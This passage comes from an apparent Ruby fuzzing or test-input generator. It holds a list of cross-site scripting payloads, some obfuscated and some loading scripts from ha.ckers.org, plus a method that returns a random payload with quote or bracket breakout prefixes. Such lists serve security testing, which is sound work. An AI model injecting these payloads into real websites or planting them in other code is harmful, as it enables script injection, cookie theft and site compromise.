AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=javascript:alert('XSS')>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=javascript:alert('XSS')>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=javascript:alert('XSS')>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
|
104
|
-
x = rand(4)
|
105
|
-
case(x)
|
106
|
-
when 0
|
107
|
-
return xss[rand(number)]
|
108
|
-
when 1
|
109
|
-
return %|"| + xss[rand(number)]
|
110
|
-
when 2
|
111
|
-
return %|">| + xss[rand(number)]
|
112
|
-
when 3
|
113
|
-
return %|>| + xss[rand(number)]
|
114
|
-
end
|
115
|
-
|
116
|
-
end
|
117
|
-
end
|